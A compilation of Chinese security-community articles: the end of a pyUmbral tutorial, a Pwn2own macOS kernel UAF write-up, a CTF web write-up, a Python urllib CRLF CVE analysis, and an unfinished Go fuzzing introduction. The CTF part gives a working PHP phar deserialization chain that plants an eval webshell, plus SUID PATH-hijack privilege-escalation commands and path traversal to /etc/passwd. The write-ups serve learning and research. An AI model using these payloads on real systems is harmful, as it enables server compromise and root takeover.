如果没有进行适当的实例化，那么我们的密码系统就不会那么有价值了。pyUmbral是我们第一个Umbral的具体实现，它使用Python编写，并且开源。其加密使用了椭圆曲线密码学算法（特别是曲线secp256k1）和ChaCha20+Poly1305作为认证加密的原语，全部由Cryptography.io的OpenSSL绑定提供。从另一个方面看，pyUmbral不仅是Umbral的一个实现，还未执行基本椭圆曲线运算提供了一个非常出色且简单的框架，也促进了其他基于ECC密码系统的原型设计。
使用pyUmbral的方法非常简单，只需要几步，首先为Alice和Bob创建密钥：
from umbral import pre, keys
# Generate umbral keys for Alice.
alices_private_key = keys.UmbralPrivateKey.gen_key()
alices_public_key = alices_private_key.get_pubkey()
# Generate umbral keys for Bob.
bobs_private_key = keys.UmbralPrivateKey.gen_key()
bobs_public_key = bobs_private_key.get_pubkey()
现在，任何知道Alice公钥的人都可以为她加密一条消息，就像典型的公钥加密过程一样，她可以使用她的私钥对其进行解密：
# Encrypt data with Alice's public key.
plaintext = b'Proxy Re-encryption is cool!'
ciphertext, capsule = pre.encrypt(alices_public_key, plaintext)
# Decrypt data with Alice's private key.
cleartext = pre.decrypt(capsule, alices_private_key,
ciphertext, alices_public_key)
请注意，加密的结果是生成一个密文和一个胶囊（Capsule）。使用Umbral，批量的数据会通过新密钥的对称密码进行加密，从而产生密文，而胶囊中则包含了在解密期间重新生成新密钥的必要信息，前提是需要提供有效的私钥。对于有兴趣的读者来说，这是一个典型的关键封装机制。
到目前为止，我们还没有看到代理重加密的过程。我们首先生成一组名为“kfrags”的重加密密钥片段，它们允许将密文的解密权限由Alice分配给Bob。由于Umbral是一个门限密码系统，所以我们需要指定分片总数（N）和所需门限（M）。
# Alice generates split re-encryption keys for Bob with "M of N".
kfrags = pre.split_rekey(alices_private_key, bobs_public_key, 10, 20)
在NuCypher
KMS网络中，kfrags将被分配到网络的节点之中，因此Bob不得不与几个Ursulas进行通信，才可以获得整个重加密。在本文的例子中，我们将在本地进行简单的重加密：
# Ursula re-encrypts the capsule to obtain a cfrag.
# Bob attaches the cfrags to the capsule.
for kfrag in kfrags:
cfrag = pre.reencrypt(kfrag, capsule)
capsule.attach_cfrag(cfrag)
最终，Bob只需要用他的私钥解密结果：
# Bob activates and opens the capsule.
cleartext = pre.decrypt(capsule, bobs_private_key,
ciphertext, alices_public_key)
下面是一个关于pyUmbral的演示视频：
<https://youtu.be/M8IZ1MTOd24>
## 参考资料
PyUmbral实现参考：<https://github.com/nucypher/pyUmbral>
Umbral技术文档：<https://github.com/nucypher/umbral-doc/blob/master/umbral-doc.pdf>
如果有任何问题，请通过Discord频道与我们取得联系：<https://discord.gg/7rmXa3S> | 社区文章 |
# 【Pwn2own漏洞分享系列】利用macOS内核漏洞逃逸Safari沙盒
|
##### 译文声明
本文是翻译文章，文章来源：blogs.360.cn
原文地址：<http://blogs.360.cn/blog/pwn2own-using-macos-kernel-vuln-escape-from-safari-sandbox/>
译文仅供参考，具体内容表达以及含义原文为准。
**作者：360vulcan团队**
**
**
**背景**
在Pwn2own 2017 比赛中，苹果的macOS Sierra 和 Safari 10
成为被攻击最多的目标之一。在此次比赛过程中，尽管有多支战队成功/半成功地完成了对macOS +
Safari目标的攻破，然而360安全战队使用的漏洞数量最少，而且也是唯一一个通过内核漏洞实现沙盒逃逸和提权，并完全控制macOS操作系统内核的战队。在这篇技术分享中，我们将介绍我们所利用的macOS内核漏洞的原理和发现细节。
在Pwn2own 2017中，为了完全攻破macOS Sierra + Safari目标，彻底控制操作系统内核，360安全战队使用了两个安全漏洞：
一个Safari远程代码执行漏洞（CVE-2017-2544）和一个macOS内核权限提升漏洞（CVE-2017-2545)。CVE-2017-2545是存在于macOS
IOGraphics组件中的安全漏洞。
从互联网上可循的源码历史来看，该漏洞最早在1992年移植自Joe
Pasqua的代码，因此这个漏洞已经在苹果操作系统中存在了超过25年，几乎影响苹果电脑的所有历史版本，同时这又是可以无视沙盒的限制，直接从沙盒中攻入内核的漏洞。
在我们3月比赛中奖漏洞负责任报告给苹果公司后，苹果已经在5月15日发布的macOS Sierra 10.12.5中修复了该漏洞。
**寻找浏览器可访问的内核驱动**
和Windows系统一样，Safari的浏览器沙盒限制了沙盒内进程可访问的内核驱动，以减小内核攻击面对沙盒逃逸攻击的影响，因此我们进行的第一步研究就是寻找在浏览器沙盒内可访问的内核驱动接口。
在macOS 上，系统根据下面两个沙盒规则文件定义了Safari浏览器的权限范围。
/System/ Library/Sandbox/Profiles/system.sb
/System/Library/Frameworks/WebKit.framework/Versions/A/Resources/com.apple.WebProcess.sb
我们进一步关注Safari浏览器能够访问的内核驱动种类。在system.sb文件中，我们发现这样一个规则：
(allow iokit-open (iokit-registry-entry-class
“IOFramebufferSharedUserClient”))
这个规则说明Safari浏览器可以打开IOFramebufferSharedUserClient这个驱动接口。IOFramebufferSharedUserClient是IOGraphic内核组件向用户态提供的接口。IOGraphic是macOS上的核心基础驱动，负责图形图像处理任务，10.12.4版本上对应的IOGraphic源码包在：https://opensource.apple.com/source/IOGraphics/IOGraphics-514.10/
。既然IOGraphic相关代码是开源的，那么在下一步，我们就对IOGraphic进行了代码审计。
**攻击面**
IOFramebufferSharedUserClient
继承于IOUserClient。用户态可以通过匹配名“IOFramebuff”的IOService,
然后调用IOServiceOpen函数获IOFramebufferSharedUserClient对象的端口。
在获取一个IOUserClient对象port后，我们通过用户态API IOConnectCallMethod可以触发内核执行这个对象的
::externalMethod接口； 通过用户态API IOConnectMapMemory可以触发内核执行这个对象的
::clientMemoryForType接口; 通过用户态API IOConnectSetNotificationPort可以触发内核执行这个对象的
::registerNotificationPort接口。
实际上IOFramebufferSharedUserClient提供的用户态接口很少，其中函数IOFramebufferSharedUserClient::getNotificationSemaphore
引起了我们关注。在IOKit.framework中，实际上有个未导出的函数io_connect_get_notification_semaphore，
通过这个API，我们可以触发内核执行相应IOUserClient对象的 ::getNotificationSemaphore接口。
漏洞：getNotificationSemaphore UAF
我们参考IOFramebufferSharedUserClient::getNotificationSemaphore的接口代码
接口也很简单，代码如下：
IOReturn IOFramebufferSharedUserClient::getNotificationSemaphore(
UInt32 interruptType, semaphore_t * semaphore )
{
return (owner->getNotificationSemaphore(interruptType, semaphore));
}
由此可见， IOFramebufferSharedUserClient::getNotificationSemaphore直接调用的是它的所有者
（也就是IOFramebuffer实例）的getNotificationSemaphore接口。
OFramebuffer::getNotificationSemaphore代码如下：
IOReturn IOFramebuffer::getNotificationSemaphore(
IOSelect interruptType, semaphore_t * semaphore )
{
kern_return_t kr;
semaphore_t sema;
if (interruptType != kIOFBVBLInterruptType)
return (kIOReturnUnsupported);
if (!haveVBLService)
return (kIOReturnNoResources);
if (MACH_PORT_NULL == vblSemaphore)
{
kr = semaphore_create(kernel_task, &sema, SYNC_POLICY_FIFO, 0);
if (kr == KERN_SUCCESS)
vblSemaphore = sema;
}
else
kr = KERN_SUCCESS;
if (kr == KERN_SUCCESS)
*semaphore = vblSemaphore;
return (kr);
}
通过上面的代码大家可以看出来，vblSemaphore是一个全局对象成员。vblSemaphore初始值为0。这个函数第一次执行后，内核调用semaphore_create，创建一个信号量，将其赋予vblSemaphore。后面这个函数再次执行时就会直接返回vblSemaphore。
问题在于，用户态调用io_connect_get_notification_semaphore获取信号量后，可以销毁该信号量。此时，内核中vblSemaphore仍指向一个已经销毁释放的信号量对象。
当用户态继续调用io_connect_get_notification_semaphore获取vblSemaphore并使用该信号量时，就会触发UAF（释放后使用）的情况。
**总结**
IOUserClient框架提供了大量接口给用户态程序。由于历史原因，IOFramebufferSharedUserClient仍然保留一个罕见的接口。尽管用户态的IOKit.framework中没有导出相应的API，这个接口仍然可以调用，我们可以把内核中
IOFramebuffer::getNotificationSemaphore的UAF问题，转化为内核地址信息泄漏和任意代码执行，实现浏览器的沙盒逃逸和权限提升。 | 社区文章 |
# 蓝帽杯-final WEB题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## ImageCheck
题目是一个`codeigniter4`的框架，既然是一个MVC框架，因此我们首先先看`upload`和`check`的`controller`
对文件进行过滤，并且要求文件后缀是图片后缀，当满足条件之后会进行`check`，我们再来看`check`对应的`controller`
很明显的一个利用`phar`反序列化的考点，因为`getimagesize`该函数可以触发`phar`反序列化，有了入口点之后我们需要做的就是找一条`gadget
chains`
在这里网上已有的反序列化链子是存在的，可以结合`Rogue-mysql`进行任意文件读取和SQL注入，但是CI框架只允许运行在PHP7.2及往上版本，而MySQL恶意服务器文件读取漏洞只能运行在PHP<7.3版本，所以本次漏洞挖掘只可以运行在刚刚好的
**PHP7.2.x**
而给出的CI需要运行在PHP
7.3以上的环境，因此这条链子是行不通的，但是爆出来的也只有这一条链子，因此可能需要我们挖掘额外的链子，但是实际上我们是可以借鉴这条链子的，全局搜索`__destruct`方法:
这里要么寻找`__call()`方法要么来找其他类的`close()`方法，这里我们借鉴`phpggc`给出的链子，来看`MemcachedHanler`的`close()`方法:
public function close(): bool
{
if (isset($this->memcached))
{
isset($this->lockKey) && $this->memcached->delete($this->lockKey);
if (! $this->memcached->quit())
{
return false;
}
$this->memcached = null;
return true;
}
return false;
}
这里又可以调用其他类的`delete`方法，并且传递的一个参数是可控的，因此继续跟进全局搜索其他类的`delete`方法，跟进了很多类中的`delete`方法，最终找到了`CURLRequest`类:
在这里`url`参数是可控的，猜想这里是能够进行触发`curl`，不妨先跟进看下:
调用了`send`方法，继续跟进该方法:
public function send(string $method, string $url)
{
// Reset our curl options so we're on a fresh slate.
$curlOptions = [];
if (! empty($this->config['query']) && is_array($this->config['query']))
{
// This is likely too naive a solution.
// Should look into handling when $url already
// has query vars on it.
$url .= '?' . http_build_query($this->config['query']);
unset($this->config['query']);
}
$curlOptions[CURLOPT_URL] = $url;
$curlOptions[CURLOPT_RETURNTRANSFER] = true;
$curlOptions[CURLOPT_HEADER] = true;
$curlOptions[CURLOPT_FRESH_CONNECT] = true;
// Disable @file uploads in post data.
$curlOptions[CURLOPT_SAFE_UPLOAD] = true;
$curlOptions = $this->setCURLOptions($curlOptions, $this->config);
$curlOptions = $this->applyMethod($method, $curlOptions);
$curlOptions = $this->applyRequestHeaders($curlOptions);
// Do we need to delay this request?
if ($this->delay > 0)
{
sleep($this->delay); // @phpstan-ignore-line
}
$output = $this->sendRequest($curlOptions);
// Set the string we want to break our response from
$breakString = "\r\n\r\n";
if (strpos($output, 'HTTP/1.1 100 Continue') === 0)
{
$output = substr($output, strpos($output, $breakString) + 4);
}
// If request and response have Digest
if (isset($this->config['auth'][2]) && $this->config['auth'][2] === 'digest' && strpos($output, 'WWW-Authenticate: Digest') !== false)
{
$output = substr($output, strpos($output, $breakString) + 4);
}
// Split out our headers and body
$break = strpos($output, $breakString);
if ($break !== false)
{
// Our headers
$headers = explode("\n", substr($output, 0, $break));
$this->setResponseHeaders($headers);
// Our body
$body = substr($output, $break + 4);
$this->response->setBody($body);
}
else
{
$this->response->setBody($output);
}
return $this->response;
}
证实了猜测，确实可以触发curl并且url是可控的，但是即使是能够curl，由于是`phar`反序列化触发的也不会有回显，那如何通过curl的方式来RCE呢？
这里实际上是比较巧妙的使用了PHP `Curl`中的 **debug**
举个例子:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'www.baidu.com');
curl_setopt($ch, CURLOPT_VERBOSE, true); // curl debug
curl_setopt($ch, CURLOPT_STDERR, fopen('/tmp/curl_debug.log', 'w+')); // curl debug
curl_exec($ch);
curl_close($ch);
这里的关键是`CURLOPT_VERBOSE`设置为`true`，代表开启debug状态后这样就可以将`debug`内容写入`/tmp/curl_debug.log`文件,
其中`CURLOPT_VERBOSE, CURLOPT_STDERR`是`curl dubug`的关键项。
本地测下:
<?php
$url = "https://crisprx.top";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_VERBOSE, true); // curl debug
curl_setopt($ch, CURLOPT_STDERR, fopen('ccccrispr.txt', 'w+')); // curl debug
curl_exec($ch);
curl_close($ch);
成功写入文件:
这给了我们一定的启发，如果我们在`CURLRequest`类中也能够控制开启debug，并且控制debug的路径，那我们通过可控的url是不是就能写入任意内容了呢?
答案是肯定的，可以看到:
在该类中存在`$config`配置`curl`，并且默认是`false`,返回到`send`方法:
这里调用`$this->setCURLOptions`传递了`$config`配置，跟进该方法:
...
// Debug
if ($config['debug'])
{
$curlOptions[CURLOPT_VERBOSE] = 1;
$curlOptions[CURLOPT_STDERR] = is_string($config['debug']) ? fopen($config['debug'], 'a+') : fopen('php://stderr', 'w');
}
...
这里开启了刚才curl
debug最关键的两个字段:`CURLOPT_VERBOSE&CURLOPT_STDERR`,并且这里的`$config['debug']`是我们可控的，这样我们可以控制它为`/var/www/html/uploads/shell.php`，这样就可以写入shell了
因此EXP就很好写了:
<?php
namespace CodeIgniter\Cache\Handlers{
class RedisHandler{
protected $redis;
public function __construct($redis)
{
$this->redis = $redis;
}
}
}
namespace CodeIgniter\Session\Handlers{
class MemcachedHandler{
protected $memcached;
protected $lockKey;
public function __construct($memcached)
{
$this->lockKey = "http://xxx:3333/?<?=eval(\$_POST[1])?>";
$this->memcached = $memcached;
}
}
}
namespace CodeIgniter\HTTP{
class CURLRequest{
protected $config = [];
public function __construct()
{
$this->config = [
'timeout' => 0.0,
'connect_timeout' => 150,
'debug' => '/var/www/html/public/uploads/shell.php',
'verify' => false,
];
}
}
}
namespace{
$code = new \CodeIgniter\HTTP\CURLRequest();
$memcached = new \CodeIgniter\Session\Handlers\MemcachedHandler($code);
$redis = new \CodeIgniter\Cache\Handlers\RedisHandler($memcached);
$a = $redis;
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>
最后只需要将生成的phar包进行`gzip`或者`bzip2`压缩后修改后缀为jpg上传后再通过phar触发反序列化写入shell
getshell后发现还需要提权，存在一个readflag文件属性是SUID:
其实是一个很经典的环境变量PATH提权，以前在vulnhub的`Bytesec`这个虚拟机里出现过该考点
**该环境变量提权的思路就是：
重新设置环境变量在/tmp目录下，则我们在使用/usr/bin/ls时使用的系统命令会定位到/tmp路径下的ls可执行程序，而内容已被我们篡改，因为ls是SUID权限，即运行时有root权限，所以我们借这个SUID位执行我们设置的ls,即我们以root身份打开了一个/bin/sh，成功提权。**
因此可以构造如下:
cd /tmp #只有/tmp目录下可写
echo "/bin/sh" > ls #将/bin/sh写入ls
chmod +x ls #赋予可执行权限给netstat
echo $PATH #查看当前环境变量
export PATH=/tmp:$PATH
最后提权root
## web2
这题入口只能说是个脑洞题。。那么久没给hint不知道咋想的，给hint之后能读jwt的`secret_key`，结合之前扫目录发现的`register`路由可以根据POST的`username`来生成对应的token，拿到`secret_key`便能够伪造admin身份了:
伪造完之后发现可以读取源码:
知道还有个`addAdmin`路由，这里可以用该路由将自己注册的用户来`addAdmin`之后便可以登录访问`/admin`路由不然一直卡死，比赛的时候非常迷，总之动不动就会卡死，然后还要一堆涉及到SQL的操作，但其实利用的主要就是`getfile`路由，因为`filename`可控且没有过滤，因此直接可以进行路径穿越读取`/etc/passwd`成功后继续读取`/proc/self/environ`发现根目录貌似是在`root`然后就顺着直接读flag了: | 社区文章 |
# **0x00前言**
2016年曾经爆出过python库中urllib的CRLF HTTP投注入漏洞
[CVE-2016-5699](http://www.anquan.us/static/drops/papers-16905.html
"CVE-2016-5699")，最近又爆出了新的Python urllib CRLF 注入漏洞CVE-2019-9740,有兴趣来分析一下
# **0x01CRLF**
CRLF即为 "回车+换行" (\r\n)的简称,十六进制码为0x0d和0x0a。HTTP中HTTP header和http
Body是用两个\n\r来区别的，浏览器根据这两个\r\n来取出HTTP内容并显示出来。因此,当我们能控制HTTP
消息头中的字符，注入一些恶意的换行就能够诸如一些例如会话Cookie或者HTML body的代码。
当我们输入一个`http://127.0.0.1`的时候，其发送的header为
GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
而当我们的url变为`http://127.0.0.1%0d%0a%0d%0aheaders:test`时,其发送的header为
GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
headers:test
Upgrade-Insecure-Requests: 1
可以看到注入进了header里面
**0x02 漏洞研究**
官网上的验证代码如下
import sys
import urllib
import urllib.request
import urllib.error
host = "127.0.0.1:7777?a=1 HTTP/1.1\r\nCRLF-injection: test\r\nTEST: 123"
url = "http://"+ host + ":8080/test/?test=a"
try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
引发了CRLF漏洞
[
抓包来看
[
后置的8080的后缀被自动修正，如果不加后缀:8080/test/?test=a的效果为
[
研究代码，首先看到`Lib/urllib`文件夹下面的request.py文件，从urlopen这个函数一路跟进
def urlopen(url, data=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT,
*, cafile=None, capath=None, cadefault=False, context=None):
global _opener
if cafile or capath or cadefault:
import warnings
warnings.warn("cafile, cpath and cadefault are deprecated, use a "
"custom context instead.", DeprecationWarning, 2)
if context is not None:
raise ValueError(
"You can't pass both context and any of cafile, capath, and "
"cadefault"
)
if not _have_ssl:
raise ValueError('SSL support not available')
context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH,
cafile=cafile,
capath=capath)
https_handler = HTTPSHandler(context=context)
opener = build_opener(https_handler)
elif context:
https_handler = HTTPSHandler(context=context)
opener = build_opener(https_handler)
elif _opener is None:
_opener = opener = build_opener()
else:
opener = _opener
return opener.open(url, data, timeout)
看到代码中调用了build_opener函数，继续跟进
def build_opener(*handlers):
opener = OpenerDirector()
default_classes = [ProxyHandler, UnknownHandler, HTTPHandler,
HTTPDefaultErrorHandler, HTTPRedirectHandler,
FTPHandler, FileHandler, HTTPErrorProcessor,
DataHandler]
if hasattr(http.client, "HTTPSConnection"):
default_classes.append(HTTPSHandler)
skip = set()
for klass in default_classes:
for check in handlers:
if isinstance(check, type):
if issubclass(check, klass):
skip.add(klass)
elif isinstance(check, klass):
skip.add(klass)
for klass in skip:
default_classes.remove(klass)
for klass in default_classes:
opener.add_handler(klass())
for h in handlers:
if isinstance(h, type):
h = h()
opener.add_handler(h)
return opener
在build_opener函数里面根据我们的url来看使用了`HTTPHandler`这个类，继续跟进
class HTTPHandler(AbstractHTTPHandler):
def http_open(self, req):
return self.do_open(http.client.HTTPConnection, req)
http_request = AbstractHTTPHandler.do_request_
在这个函数带有恶意payload的url通过Request方法进行请求,从self.open方法中也能够看到
def do_open(self, http_class, req, **http_conn_args):
host = req.host
if not host:
raise URLError('no host given')
# will parse host:port
h = http_class(host, timeout=req.timeout, **http_conn_args)
h.set_debuglevel(self._debuglevel)
headers = dict(req.unredirected_hdrs)
headers.update(dict((k, v) for k, v in req.headers.items()
if k not in headers))
headers["Connection"] = "close"
headers = dict((name.title(), val) for name, val in headers.items())
if req._tunnel_host:
tunnel_headers = {}
proxy_auth_hdr = "Proxy-Authorization"
if proxy_auth_hdr in headers:
tunnel_headers[proxy_auth_hdr] = headers[proxy_auth_hdr]
# Proxy-Authorization should not be sent to origin
# server.
del headers[proxy_auth_hdr]
h.set_tunnel(req._tunnel_host, headers=tunnel_headers)
try:
try:
h.request(req.get_method(), req.selector, req.data, headers,
encode_chunked=req.has_header('Transfer-encoding'))
except OSError as err: # timeout error
raise URLError(err)
r = h.getresponse()
except:
h.close()
raise
if h.sock:
h.sock.close()
h.sock = None
r.url = req.get_full_url()
r.msg = r.reason
return r
重新看`Lib/http/client.py`这个文件中的putheader方法，在之前的 **CVE-2016-5699** 漏洞中它的代码如下
def putheader(self, header, *values):
values = list(values)
for i, one_value in enumerate(values):
if hasattr(one_value, 'encode'):
values[i] = one_value.encode('latin-1')
elif isinstance(one_value, int):
values[i] = str(one_value).encode('ascii')
value = b'\r\n\t'.join(values)
header = header + b': ' + value
self._output(header)
修复后的代码如下
def putheader(self, header, *values):
"""Send a request header line to the server.
For example: h.putheader('Accept', 'text/html')
"""
if self.__state != _CS_REQ_STARTED:
raise CannotSendHeader()
if hasattr(header, 'encode'):
header = header.encode('ascii')
if not _is_legal_header_name(header):
raise ValueError('Invalid header name %r' % (header,))
values = list(values)
for i, one_value in enumerate(values):
if hasattr(one_value, 'encode'):
values[i] = one_value.encode('latin-1')
elif isinstance(one_value, int):
values[i] = str(one_value).encode('ascii')
if _is_illegal_header_value(values[i]):
raise ValueError('Invalid header value %r' % (values[i],))
value = b'\r\n\t'.join(values)
header = header + b': ' + value
self._output(header)
加入了_is_legal_header_name这个方法，方法为
_is_legal_header_name = re.compile(rb'[^:\s][^:\r\n]*').fullmatch
可以看到对 : 后面的内容进行匹配，匹配了所有\r\n的内容，如果匹配到\r\n,则返回报错`Invalid header name
<header>`,但是通过调试发现该检测方法仅为检测返回时候的header头而没有检测到发送除去的url，因此发送出去的payload并没有经过正则的匹配。
# **0x03官方的修复方法**
[https://github.githistory.xyz/python/cpython/blob/96aeaec64738b730c719562125070a52ed570210/Lib/http/client.py](http://https://github.githistory.xyz/python/cpython/blob/96aeaec64738b730c719562125070a52ed570210/Lib/http/client.py
"https://github.githistory.xyz/python/cpython/blob/96aeaec64738b730c719562125070a52ed570210/Lib/http/client.py")
在putrequest方法上对url进行检查，匹配所有的ascii码在00到32的所有字符，并且同时匹配\x7f字符
[
[
有错误之处还请师傅们斧正。
# **Reference**
* <https://bugs.python.org/issue36276>
* <https://hg.python.org/cpython/rev/bf3e1c9b80e9>
* <https://bugs.python.org/issue30458#msg295067>
* <https://bugs.python.org/issue30458#msg295067>
* <https://bugs.python.org/issue30458#msg295067> | 社区文章 |
# 前言
在2015年的GopherCon大会上 ,来自俄罗斯的google工程师Dmitry Vyukov 在其名为“[Go Dynamic
Tools]”的presentation中就介绍了[go-fuzz](https://github.com/dvyukov/go-fuzz/blob/master/slides/go-fuzz.slide)，上篇文章中，介绍了go-fuzz的安装和使用方法。go-fuzz在go的标准库中找到了200+的bug，在一些go项目的更是发现了上千的bug，可以说是go语言模糊测试的一个成功的第三方解决方案。但是，Dmitry
Vyukov发现虽然通过第三方的fuzzing工具可以解决Go开发者关于Fuzzing的部分需求，但有很多功能特性是通过第三方工具无法实现的。
2016年，Dmitry Vyukov在Go官方issue列表中创建[“cmd/compile: coverage instrumentation for
fuzzing”](https://github.com/golang/go/issues/14565)的issue归纳说明了这些问题，也是从那时开始，Dmitry
Vyukov极力推进Fuzzing进入Go原生工具链的。 目前go-fuzz还存在以下几个问题：
1. 可能会由于go语言内部的相互依赖的包的改变而导致崩溃
2. 不在编译器的帮助下做覆盖率的插装，这会导致极端案例代码的破坏；表现不佳; 覆盖检测质量欠佳（缺失边缘）
3. 与go语言原生的单元测试比太过复杂
4. 由于它使用源预处理，因此很难将其集成到其他构建系统和非标准上下文中
3月16日， Go 团队终于发布 Go 1.18 ， Go 1.18 是一个包含大量新功能的版本，同时不仅改善了性能，也对语言本身做了有史以来最大的改变。
Go 1.18将fuzz testing纳入了go
test工具链，与单元测试、[性能基准测试](https://www.imooc.com/read/87/article/2439)等一起成为了Go原生测试工具链中的重要成员
，Go也是第一个将模糊测试完全集成到其标准工具链中的主流语言 。本文从源码和实践的角度对go原生的fuzzing做一个简单的介绍。
# go native fuzzing
下面是官方给出使用go test -fuzz 进行的一个[模糊测试](https://go.dev/doc/fuzz/#glos-fuzz-test)的例子，突出了它的主要组成部分。
以下是模糊测试必须遵循的规则。
* 模糊测试必须是以 `FuzzXxx` 命名的函数 ，它只接受 `*testing.F`参数并且没有返回值。
* 模糊测试必须在 *_test.go 文件中才能运行。
* [模糊测试的目标](https://go.dev/doc/fuzz/#glos-fuzz-target)必须是对`(*testing.F).Fuzz`的一个方法调用，且将 `*testing.T`作为第一个参数，然后是模糊测试的参数，没有返回值。
* 每个模糊测试必须只有一个测试目标。
* 所有[种子语料库](https://go.dev/doc/fuzz/#glos-seed-corpus)条目的类型必须与[模糊测试参数](https://go.dev/doc/fuzz/#fuzzing-arguments)相同，顺序相同。这适用于 `(*testing.F).Add`对模糊测试的 `testdata/fuzz` 目录中的任何语料库文件的调用。
* 模糊测试参数只能是以下类型：
* `string`, `[]byte`
* `int`, `int8`, `int16`, `int32`/`rune`, `int64`
* `uint`, `uint8`/`byte`, `uint16`, `uint32`, `uint64`
* `float32`, `float64`
* `bool`
# go test -fuzz 相关技术
## 架构
gofuzz 是一个多进程的fuzzer，其组件可分为协调进程、工作进程和RPC。
### Coordinator
Coordinator的职责是运行和唤醒工作进程、命令工作进行去fuzz下一个输入、如果发生crash则将interesting data
写入语料库等，该部分源码在[go](https://github.com/golang/go/tree/4d2da99498ff55700eeddf09d603fa0618c8b55c)/[src](https://github.com/golang/go/tree/4d2da99498ff55700eeddf09d603fa0618c8b55c/src)/[internal](https://github.com/golang/go/tree/4d2da99498ff55700eeddf09d603fa0618c8b55c/src/internal)/[fuzz](https://github.com/golang/go/tree/4d2da99498ff55700eeddf09d603fa0618c8b55c/src/internal/fuzz)/
**fuzz.go** 中可以找到。
* **CoordinateFuzzingOpts { }**
结构体 `CoordinateFuzzingOpts` 定义了 `CoordinateFuzzing` 的一系类参数，包括语料库加载后的挂钟时间、
生成和测试的随机值的数量、发现崩溃后的最小化时间、并行运行的worker进程数量、种子列表、语料库文件夹、
构成语料库条目的类型列表等，其中部分字段被设置为0值表示没有限制，其结构体源码如下：
// go/src/internal/fuzz/fuzz.go
// CoordinateFuzzingOpts is a set of arguments for CoordinateFuzzing.
// The zero value is valid for each field unless specified otherwise.
type CoordinateFuzzingOpts struct {
Log io.Writer
Timeout time.Duration
Limit int64
MinimizeTimeout time.Duration
MinimizeLimit int64
Parallel int
Seed []CorpusEntry
Types []reflect.Type
CorpusDir string
CacheDir string
}
* **CoordinateFuzzing（）**
`CoordinateFuzzing`函数用来创建多个`worker`进程，并管理`worker`进程对可能触发崩溃的随机输入进行测试。如果发生崩溃，该函数将返回一个err，其中包含有关崩溃的信息。
该函数时定义了包括主时间循环在内的诸如管理`worker`进程的多个行为：如
创建worker进程、开始worker进程、结束worker进程、确保发现的crash写入语料库、根据覆盖率信息协调工作进程等。
* **Coordinator {}**
结构体 coordinator
定义了多个Coordinator与worker之间的channel，如coordinator传递fuzz数据到worker的channel
`inputC`、传递最小化数据的channel `minimizeC`，worker传递fuzzing结果到coordinator的channel
`resultC`等，此外还包括加载语料库后workers启动的时间 `startTime` 、发现的感兴趣的输入数量 `interestingCount`
等等，该结构体定义如下：
// coordinator holds channels that workers can use to communicate with
// the coordinator.
type coordinator struct {
opts CoordinateFuzzingOpts
// startTime is the time we started the workers after loading the corpus.
// Used for logging.
startTime time.Time
// inputC is sent values to fuzz by the coordinator. Any worker may receive
// values from this channel. Workers send results to resultC.
inputC chan fuzzInput
// minimizeC is sent values to minimize by the coordinator. Any worker may
// receive values from this channel. Workers send results to resultC.
minimizeC chan fuzzMinimizeInput
// resultC is sent results of fuzzing by workers. The coordinator
// receives these. Multiple types of messages are allowed.
resultC chan fuzzResult
// count is the number of values fuzzed so far.
count int64
// countLastLog is the number of values fuzzed when the output was last
// logged.
countLastLog int64
// timeLastLog is the time at which the output was last logged.
timeLastLog time.Time
// interestingCount is the number of unique interesting values which have
// been found this execution.
interestingCount int
// warmupInputCount is the count of all entries in the corpus which will
// need to be received from workers to run once during warmup, but not fuzz.
// This could be for coverage data, or only for the purposes of verifying
// that the seed corpus doesn't have any crashers. See warmupRun.
warmupInputCount int
// warmupInputLeft is the number of entries in the corpus which still need
// to be received from workers to run once during warmup, but not fuzz.
// See warmupInputLeft.
warmupInputLeft int
// duration is the time spent fuzzing inside workers, not counting time
// starting up or tearing down.
duration time.Duration
// countWaiting is the number of fuzzing executions the coordinator is
// waiting on workers to complete.
countWaiting int64
// corpus is a set of interesting values, including the seed corpus and
// generated values that workers reported as interesting.
corpus corpus
// minimizationAllowed is true if one or more of the types of fuzz
// function's parameters can be minimized.
minimizationAllowed bool
// inputQueue is a queue of inputs that workers should try fuzzing. This is
// initially populated from the seed corpus and cached inputs. More inputs
// may be added as new coverage is discovered.
inputQueue queue
// minimizeQueue is a queue of inputs that caused errors or exposed new
// coverage. Workers should attempt to find smaller inputs that do the
// same thing.
minimizeQueue queue
// crashMinimizing is the crash that is currently being minimized.
crashMinimizing *fuzzResult
// coverageMask aggregates coverage that was found for all inputs in the
// corpus. Each byte represents a single basic execution block. Each set bit
// within the byte indicates that an input has triggered that block at least
// 1 << n times, where n is the position of the bit in the byte. For example, a
// value of 12 indicates that separate inputs have triggered this block
// between 4-7 times and 8-15 times.
coverageMask []byte
}
### Worker
worker的功能主要包括种子变异、最小化、运行fuzz函数、收集覆盖率、返回Crash或新的边、等。
worker 管理运行测试二进制文件的工作进程 ，当且仅当进程被`go -test -fuzz`
唤醒时，worker对象才会存在与coordinator中。 coordinator从种子语料库和缓存语料库选择输入来进行模糊测试 ，使用
